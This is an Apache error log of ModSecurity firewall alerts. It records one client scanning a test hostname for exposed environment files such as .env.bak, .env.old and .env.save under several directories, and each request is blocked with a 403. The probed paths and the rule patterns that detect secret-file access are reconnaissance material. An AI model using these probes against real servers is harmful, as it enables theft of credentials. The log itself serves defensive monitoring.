[Thu Oct 30 20:06:49.790694 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aQO3SZdseHRrfd8_FeKIdQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.295053 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.295240 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.295488 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.295682 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.890903 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.891122 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.892926 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:50.893149 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.old&quot;] [unique_id &quot;aQO3SpdseHRrfd8_FeKIdwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:51.398423 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aQO3S5dseHRrfd8_FeKIeAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:51.398693 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aQO3S5dseHRrfd8_FeKIeAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:51.398928 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aQO3S5dseHRrfd8_FeKIeAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:51.903410 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aQO3S5dseHRrfd8_FeKIeQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:51.903660 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aQO3S5dseHRrfd8_FeKIeQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:51.903889 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.save&quot;] [unique_id &quot;aQO3S5dseHRrfd8_FeKIeQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.407867 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIegAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.408056 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIegAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.408316 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIegAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.408534 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.bak&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIegAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.918981 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIewAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.919190 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIewAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.919441 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIewAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:52.919655 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3TJdseHRrfd8_FeKIewAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:53.433555 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aQO3TZdseHRrfd8_FeKIfAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:53.433805 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aQO3TZdseHRrfd8_FeKIfAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:53.434033 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aQO3TZdseHRrfd8_FeKIfAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:53.937677 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aQO3TZdseHRrfd8_FeKIfQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:53.937967 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aQO3TZdseHRrfd8_FeKIfQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:53.938196 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aQO3TZdseHRrfd8_FeKIfQAAAAY&quot;], referer: https://www.google.com/
